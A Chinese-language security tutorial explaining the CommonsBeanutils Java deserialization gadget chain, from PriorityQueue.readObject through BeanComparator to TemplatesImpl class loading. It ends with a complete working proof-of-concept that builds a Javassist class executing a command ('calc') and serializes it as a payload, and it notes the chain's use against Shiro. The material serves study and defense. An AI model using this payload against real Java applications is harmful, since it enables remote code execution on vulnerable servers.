CommonsBeanutils反序列化链

CommonsBeanutils是Apache提供的一款用于操作 JavaBean 的工具方法,该依赖在<=1.9.2版本存在反序列化高危漏洞,允许攻击者通过构造方法利用链在反序列化时进行远程代码执行


利用链原理

该链使用TemplatesImpl动态类加载的方式进行代码执行,先前我们知道需要触发该类的newTransformer()方法来进行类加载、实例化,该方法其实也被TemplatesImpl.getOutputProperties()调用

public synchronized Properties getOutputProperties() {
try {
return newTransformer().getOutputProperties();
}
catch (TransformerConfigurationException e) {
return null;
}
}

CommonsBeanutils依赖中,工具类PropertyUtils是一个用于获取JavaBean对象属性的类,其getProperty()方法接收一个Object对象和一个字符串,该方法用于返回字符串对应的字段值

该工具类调用的是PropertyUtilsBean的同名方法

public static Object getProperty(Object bean, String name) throws IllegalAccessException, InvocationTargetException, NoSuchMethodException {
return PropertyUtilsBean.getInstance().getProperty(bean, name);
}

PropertyUtilsBeangetProperty()方法又调用了getNestedProperty(),由于getProperty()支持嵌套查询值,getNestedProperty()就是用于进行解嵌套的,获取最终要取值的对象

public Object getNestedProperty(Object bean, String name) throws IllegalAccessException, InvocationTargetException, NoSuchMethodException {
if (bean == null) {
throw new IllegalArgumentException("No bean specified");
} else if (name == null) {
throw new IllegalArgumentException("No name specified for bean class '" + bean.getClass() + "'");
} else {
while(this.resolver.hasNested(name)) {
String next = this.resolver.next(name);
Object nestedBean = null;
if (bean instanceof Map) {
nestedBean = this.getPropertyOfMapBean((Map)bean, next);
} else if (this.resolver.isMapped(next)) {
nestedBean = this.getMappedProperty(bean, next);
} else if (this.resolver.isIndexed(next)) {
nestedBean = this.getIndexedProperty(bean, next);
} else {
nestedBean = this.getSimpleProperty(bean, next);
}

if (nestedBean == null) {
throw new NestedNullException("Null property value for '" + name + "' on bean class '" + bean.getClass() + "'");
}

bean = nestedBean;
name = this.resolver.remove(name);
}

if (bean instanceof Map) {
bean = this.getPropertyOfMapBean((Map)bean, name);
} else if (this.resolver.isMapped(name)) {
bean = this.getMappedProperty(bean, name);
} else if (this.resolver.isIndexed(name)) {
bean = this.getIndexedProperty(bean, name);
} else {
bean = this.getSimpleProperty(bean, name);
}

return bean;
}
}

没有嵌套时,则会调用getSimpleProperty()方法

public Object getSimpleProperty(Object bean, String name) throws IllegalAccessException, InvocationTargetException, NoSuchMethodException {
if (bean == null) {
throw new IllegalArgumentException("No bean specified");
} else if (name == null) {
throw new IllegalArgumentException("No name specified for bean class '" + bean.getClass() + "'");
} else if (this.resolver.hasNested(name)) {
throw new IllegalArgumentException("Nested property names are not allowed: Property '" + name + "' on bean class '" + bean.getClass() + "'");
} else if (this.resolver.isIndexed(name)) {
throw new IllegalArgumentException("Indexed property names are not allowed: Property '" + name + "' on bean class '" + bean.getClass() + "'");
} else if (this.resolver.isMapped(name)) {
throw new IllegalArgumentException("Mapped property names are not allowed: Property '" + name + "' on bean class '" + bean.getClass() + "'");
} else if (bean instanceof DynaBean) {
DynaProperty descriptor = ((DynaBean)bean).getDynaClass().getDynaProperty(name);
if (descriptor == null) {
throw new NoSuchMethodException("Unknown property '" + name + "' on dynaclass '" + ((DynaBean)bean).getDynaClass() + "'");
} else {
return ((DynaBean)bean).get(name);
}
} else {
PropertyDescriptor descriptor = this.getPropertyDescriptor(bean, name);
if (descriptor == null) {
throw new NoSuchMethodException("Unknown property '" + name + "' on class '" + bean.getClass() + "'");
} else {
Method readMethod = this.getReadMethod(bean.getClass(), descriptor);
if (readMethod == null) {
throw new NoSuchMethodException("Property '" + name + "' has no getter method in class '" + bean.getClass() + "'");
} else {
Object value = this.invokeMethod(readMethod, bean, EMPTY_OBJECT_ARRAY);
return value;
}
}
}
}

该方法前面进行了一系列检查,最后还是调用了反射方法invokeMethod()去取值,方法readMethodgetReadMethod()方法获取,如果beanTemplatesImplnameoutputProperties,获取的方法就是getOutputProperties()

image-20260128173852093

那么接下来寻找getProperty()的上层,BeanComparator.compare()调用了该方法

public int compare(T o1, T o2) {
if (this.property == null) {
return this.internalCompare(o1, o2);
} else {
try {
Object value1 = PropertyUtils.getProperty(o1, this.property);
Object value2 = PropertyUtils.getProperty(o2, this.property);
return this.internalCompare(value1, value2);
} catch (IllegalAccessException iae) {
throw new RuntimeException("IllegalAccessException: " + iae.toString());
} catch (InvocationTargetException ite) {
throw new RuntimeException("InvocationTargetException: " + ite.toString());
} catch (NoSuchMethodException nsme) {
throw new RuntimeException("NoSuchMethodException: " + nsme.toString());
}
}
}

只需将o1o2设置为恶意Templates,this.property设置为字符串outputProperties,就和后半段连通了,BeanComparator.compare()的上层自然就是PriorityQueue.readObject(),通过前面CC2了解到在PriorityQueue类的readObject()方法中,会一路调用到comparator.compare()方法,将comparator属性设置为BeanComparator即可


利用链构造

首先是恶意TemplatesImpl的构建

ClassPool pool = ClassPool.getDefault();
CtClass test = pool.makeClass("test");
CtConstructor constructor = test.makeClassInitializer();

constructor.setBody("Runtime.getRuntime().exec(\"calc\");");
CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
test.setSuperclass(superClass);
byte[] bytes = test.toBytecode();

TemplatesImpl templatesImpl = new TemplatesImpl();
Class<TemplatesImpl> templatesClass = TemplatesImpl.class;
Field name = templatesClass.getDeclaredField("_name");
name.setAccessible(true);
name.set(templatesImpl, "any");
Field bytecodes = templatesClass.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
bytecodes.set(templatesImpl, new byte[][]{bytes});
Field tfactory = templatesClass.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templatesImpl, new TransformerFactoryImpl());

构造beanComparator,设置其property字段为字符串outputProperties

BeanComparator<TemplatesImpl> beanComparator = new BeanComparator<>();
beanComparator.setProperty("outputProperties");

接下来构造priorityQueue,过程和cc2的构造差不多,要保证有两个元素确保反序列化时compare()能够执行,延迟注入comparator避免提前执行

PriorityQueue<Object> priorityQueue = new PriorityQueue<>();
priorityQueue.add(1);
priorityQueue.add(2);
Class<?> clazz = priorityQueue.getClass();
Field field = clazz.getDeclaredField("comparator");
field.setAccessible(true);
field.set(priorityQueue, beanComparator);
Field queue = clazz.getDeclaredField("queue");
queue.setAccessible(true);
queue.set(priorityQueue, new Object[]{templatesImpl, templatesImpl});

全链如下

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.*;
import org.apache.commons.beanutils.BeanComparator;
import org.junit.Test;

import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;

public class CB {
public static void main(String[] args) throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass test = pool.makeClass("test");
CtConstructor constructor = test.makeClassInitializer();
constructor.setBody("Runtime.getRuntime().exec(\"calc\");");
CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
test.setSuperclass(superClass);
byte[] bytes = test.toBytecode();

TemplatesImpl templatesImpl = new TemplatesImpl();
Class<TemplatesImpl> templatesClass = TemplatesImpl.class;
Field name = templatesClass.getDeclaredField("_name");
name.setAccessible(true);
name.set(templatesImpl, "any");
Field bytecodes = templatesClass.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
bytecodes.set(templatesImpl, new byte[][]{bytes});
Field tfactory = templatesClass.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templatesImpl, new TransformerFactoryImpl());

BeanComparator<Object> beanComparator = new BeanComparator<>();
beanComparator.setProperty("outputProperties");

PriorityQueue<Object> priorityQueue = new PriorityQueue<>();
priorityQueue.add(1);
priorityQueue.add(2);
Class<?> clazz = priorityQueue.getClass();
Field field = clazz.getDeclaredField("comparator");
field.setAccessible(true);
field.set(priorityQueue, beanComparator);
Field queue = clazz.getDeclaredField("queue");
queue.setAccessible(true);
queue.set(priorityQueue, new Object[]{templatesImpl, templatesImpl});
serialize(priorityQueue);

}

public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(Files.newOutputStream(Paths.get("cb.ser")));
oos.writeObject(obj);
}

@Test
public void deserialize() throws Exception {
ObjectInputStream ois = new ObjectInputStream(Files.newInputStream(Paths.get("cb.ser")));
ois.readObject();
}
}

该依赖曾被shiro框架使用,也是shiro反序列化执行命令的重要组成